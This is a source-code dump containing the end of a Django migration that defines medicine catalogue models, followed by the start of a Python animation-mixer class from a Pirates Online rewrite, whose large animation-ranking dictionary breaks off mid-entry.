('description', models.TextField(blank=True, max_length=500, null=True)), ('active', models.BooleanField(default=True)), ('user', models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)), ], options={ 'abstract': False, }, ), migrations.CreateModel( name='Physic', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('create_at', models.DateTimeField(auto_now_add=True)), ('update_at', models.DateTimeField()), ('code', models.CharField(max_length=25, unique=True)), ('name', models.CharField(max_length=250)), ('description', models.TextField(blank=True, max_length=500, null=True)), ('pharmaceuticalform', models.CharField(max_length=250)), ('active', models.BooleanField(default=True)), ('concentration', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='physics', to='cnmb.Concentration')), ('group', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='physics', to='cnmb.GroupATC')), ('user', models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)), ], options={ 'abstract': False, }, ), migrations.CreateModel( name='PhysicLevel', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('create_at', models.DateTimeField(auto_now_add=True)), ('update_at', models.DateTimeField()), ('level', models.CharField(max_length=25)), ('name', models.CharField(max_length=250)), ('description', models.TextField(blank=True, max_length=500, null=True)), ('active', models.BooleanField(default=True)), ], options={ 'abstract': False, }, ), migrations.CreateModel( name='Range', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('create_at', models.DateTimeField(auto_now_add=True)), ('update_at', models.DateTimeField()), ('name', models.CharField(max_length=250)), ('description', models.TextField(blank=True, max_length=500, null=True)), ('active', models.BooleanField(default=True)), ('start', models.PositiveIntegerField(default=0)), ('end', models.PositiveIntegerField(default=1)), ('user', models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)), ], options={ 'abstract': False, }, ), migrations.CreateModel( name='Use', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('create_at', models.DateTimeField(auto_now_add=True)), ('update_at', models.DateTimeField()), ('name', models.CharField(max_length=250)), ('description', models.TextField(blank=True, max_length=500, null=True)), ('active', models.BooleanField(default=True)), ], options={ 'abstract': False, }, ), migrations.CreateModel( name='CareLevel', fields=[ ('physiclevel_ptr', models.OneToOneField(auto_created=True, on_delete=django.db.models.deletion.CASCADE, parent_link=True, primary_key=True, serialize=False, to='cnmb.PhysicLevel')), ('physics', models.ManyToManyField(related_name='cares', to='cnmb.Physic')), ], options={ 'abstract': False, }, bases=('cnmb.physiclevel',), ), migrations.CreateModel( name='PrescriptionLevel', fields=[ ('physiclevel_ptr', models.OneToOneField(auto_created=True, on_delete=django.db.models.deletion.CASCADE, parent_link=True, primary_key=True, serialize=False, to='cnmb.PhysicLevel')), ('physic', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='prescriptions', to='cnmb.Physic')), ], options={ 'abstract': False, }, bases=('cnmb.physiclevel',), ), migrations.CreateModel( name='RouteAdministration', fields=[ ('use_ptr', models.OneToOneField(auto_created=True, on_delete=django.db.models.deletion.CASCADE, parent_link=True, primary_key=True, serialize=False, to='cnmb.Use')), ('physic', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='routes_administration', to='cnmb.Physic')), ], options={ 'abstract': False, }, bases=('cnmb.use',), ), migrations.AddField( model_name='use', name='user', field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL), ), migrations.AddField( model_name='physiclevel', name='user', field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL), ), migrations.AddField( model_name='dosification', name='range', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='dosifications', to='cnmb.Range'), ), migrations.AddField( model_name='dosification', name='user', field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL), ), migrations.AddField( model_name='concentration', name='measure', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='concentrations', to='cnmb.Measure'), ), migrations.AddField( model_name='concentration', name='user', field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL), ), migrations.AddField( model_name='dosification', name='route', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='dosifications', to='cnmb.RouteAdministration'), ), ]
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f7a70d6841b336c437815543f57f005f19da07f1
38,675
py
Python
pirates/pirate/BipedAnimationMixer.py
Willy5s/Pirates-Online-Rewritten
7434cf98d9b7c837d57c181e5dabd02ddf98acb7
[ "BSD-3-Clause" ]
81
2018-04-08T18:14:24.000Z
2022-01-11T07:22:15.000Z
pirates/pirate/BipedAnimationMixer.py
Willy5s/Pirates-Online-Rewritten
7434cf98d9b7c837d57c181e5dabd02ddf98acb7
[ "BSD-3-Clause" ]
4
2018-09-13T20:41:22.000Z
2022-01-08T06:57:00.000Z
pirates/pirate/BipedAnimationMixer.py
Willy5s/Pirates-Online-Rewritten
7434cf98d9b7c837d57c181e5dabd02ddf98acb7
[ "BSD-3-Clause" ]
26
2018-05-26T12:49:27.000Z
2021-09-11T09:11:59.000Z
from direct.directnotify import DirectNotifyGlobal from pirates.movement.AnimationMixer import AnimationMixer class BipedAnimationMixer(AnimationMixer): notify = DirectNotifyGlobal.directNotify.newCategory('BipedAnimationMixer') NA_INDEX = -1 IDLE_INDEX = 0 INPLACE_INDEX_0 = 1 INPLACE_INDEX_1 = 2 MOTION_INDEX = 3 INMOTION_INDEX_0 = 4 INMOTION_INDEX_1 = 5 INMOTION_INDEX_2 = 6 MOVIE_INDEX = 7 LOOP = {'NA': NA_INDEX,'IDLE': IDLE_INDEX,'MOTION': MOTION_INDEX} ACTION = {'NA': NA_INDEX,'INPLACE_0': INPLACE_INDEX_0,'INPLACE_1': INPLACE_INDEX_1,'INMOTION_0': INMOTION_INDEX_0,'INMOTION_1': INMOTION_INDEX_1,'INMOTION_2': INMOTION_INDEX_2,'MOVIE': MOVIE_INDEX} sectionNames = [ 'legs', 'torso', 'head'] AnimRankings = {'idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'idle_centered': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'idle_handhip': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'idle_handhip_from_idle': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'idle_flex': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'idle_hit': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'idle_arm_scratch': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'idle_butt_scratch': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'idle_head_scratch': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'idle_head_scratch_side': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'kraken_struggle_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'kraken_fight_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'map_head_into_look_left': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'map_head_outof_look_left': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'map_head_look_left_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'map_look_arm_right': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'map_look_arm_left': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'map_look_boot_left': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'map_look_boot_right': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'map_look_pant_right': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'idle_B_shiftWeight': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'idle_sit': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'idle_sit_alt': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'emote_anger': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_blow_kiss': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_celebrate': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_clap': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_coin_flip': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_coin_flip_loop': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'emote_crazy': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_cut_throat': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_dance_jig': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_dance_jig_loop': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'emote_duhhh': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_embarrassed': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_face_smack': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_fear': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_flex': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_flirt': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_hand_it_over': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_head_scratch': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_laugh': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'bayonet_scared': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'bayoney_want_fight': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_nervous': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_newyears': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_no': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_sad': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_sassy': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_scared': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_show_me_the_money': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_shrug': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_sincere_thanks': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_smile': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_snarl': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_talk_to_the_hand': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_thriller': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_wave': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_wink': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_yawn': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_yes': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'look_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'look_idle_2': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'marketing_fight_jr': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'marketing_fight_js': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'walk': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'walk_back_diagonal_left': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'walk_back_diagonal_right': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'turn_left': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'turn_right': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'spin_left': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'spin_right': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'run': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'march': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'left_face': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'strafe_left': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'strafe_right': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'run_diagonal_left': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'run_diagonal_right': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'run_with_weapon': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'jump': (ACTION['INMOTION_0'], ACTION['INMOTION_0'], ACTION['INMOTION_0']),'fall_ground': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'cower_in_place': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'cower_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'cower_into': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'cower_outof': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'sit_cower_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'sit_cower_into_sleep': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'sit_sleep_into_cower': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'stock_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'stock_sleep': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'stock_sleep_to_idle': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'injured_healing_into': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'injured_healing_outof': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'injured_healing_loop': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'injured_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'injured_idle_shakehead': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'injured_fall': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'injured_standup': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'swim': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'swim_left': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'swim_right': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'swim_left_diagonal': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'swim_right_diagonal': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'swim_back': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'swim_back_diagonal_left': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'swim_back_diagonal_right': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'wheel': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'semi_conscious_loop': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'semi_conscious_standup': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'attention': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'sit': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'sit_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'teleport': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'coin_flip_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'coin_flip_look_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'coin_flip_old_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'drink_potion': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'stowaway_get_in_crate': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'search_low': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'search_med': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'searching': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'chant_a_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'chant_b_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'jump_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'summon_idle': (LOOP['IDLE'], LOOP['IDLE'], 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ACTION['INPLACE_1'], ACTION['INPLACE_1']),'fishing_pole_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'fishing_drawpole': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'chest_walk': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'chest_strafe_left': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'chest_strafe_right': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'chest_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'chest_putdown': (ACTION['INPLACE_0'], ACTION['INMOTION_1'], ACTION['INMOTION_1']),'chest_kneel_to_steal': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'chest_steal': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'into_deal': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'deal': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'deal_left': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'deal_right': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'deal_idle': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'cards_bad_tell': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'cards_bet': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'cards_cheat': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'cards_check': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'cards_good_tell': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'cards_hide': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'cards_hide_hit': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'cards_hide_idle': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'cards_pick_up': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'cards_pick_up_idle': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'cards_set_down': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'cards_set_down_lose': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'cards_set_down_win': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'cards_set_down_win_show': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'cards_blackjack_hit': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'cards_blackjack_stay': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'sweep': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'sweep_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'sweep_look_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'sweep_into_look': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'sweep_outof_look': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'rigging_climb': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'tread_water': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'tread_water_into_teleport': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'rope_grab': (ACTION['INMOTION_2'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'rope_grab_from_idle': (ACTION['INMOTION_2'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'rope_board': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'rope_dismount': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'swing_aboard': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'intro': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'jail_dropinto': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'jail_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'jail_standup': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'death': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'death2': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'death3': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'death4': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'kick_door': (ACTION['INMOTION_2'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'kick_door_loop': (LOOP['IDLE'], LOOP['MOTION'], LOOP['MOTION']),'board': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'tentacle_squeeze': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'tentacle_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'sand_in_eyes': (ACTION['INPLACE_0'], ACTION['INMOTION_1'], ACTION['INMOTION_1']),'sand_in_eyes_holdweapon_noswing': (ACTION['INPLACE_0'], ACTION['INMOTION_1'], ACTION['INMOTION_1']),'sand_in_eyes_wWeapon': (ACTION['INPLACE_0'], ACTION['INMOTION_1'], ACTION['INMOTION_1']),'bomb_receive': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'dagger_receive': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'doll_receive': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'staff_receive': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'emote_crazy': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_cut_throat': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_embarrassed': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_face_smack': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_hand_it_over': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_head_scratch': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_nervous': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_scared': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_show_me_the_money': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_shrug': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_sincere_thanks': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_snarl': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_duhhh': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_blow_kiss': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_flirt': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_sassy': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_talk_to_the_hand': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'bayonet_want_fight': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'bayonet_scared': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'0_tut_act_1_1_1_jail': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'0_tut_act_1_1_2_jail': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'tut_1_1_5_a_idle_dan': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'tut_1_1_5_b_dan': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'1_tut_act_1_1_5_a_dan': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'1_tut_act_1_1_5_c_dan': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'0_tut_act_1_2_dock': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'1_tut_act_1_2_dock': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'0_tut_act_1_2_b_dock': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'1_tut_act_1_2_b_dock': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'0_tut_act_1_3_jr_a': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'0_tut_act_1_3_jr_b': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'1_tut_act_1_3_jr_a': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'1_tut_act_1_3_jr_b': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'2_tut_act_1_3_jr_a': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'2_tut_act_1_3_jr_b': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'3_tut_act_1_3_jr_a': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'3_tut_act_1_3_jr_b': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'0_tut_act_2_1_wt': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'0_tut_act_2_1_b_wt': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'1_tut_act_2_1_b_wt': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'2_tut_act_2_1_b_wt': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'3_tut_act_2_1_b_wt': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'0_tut_act_2_3_es': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'0_tut_act_2_4_cb_a': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'0_tut_act_2_4_cb_b': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'0_tut_act_2_4_cb_c': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'0_tut_act_2_2_td': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'1_tut_act_2_2_td': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'2_tut_act_2_2_td': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'3_tut_act_2_2_td': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'4_tut_act_2_2_td': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'5_tut_act_2_2_td': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'0_tut_act_2_5_js': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'1_tut_act_2_5_js': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'0_tut_act_3_1_bp': 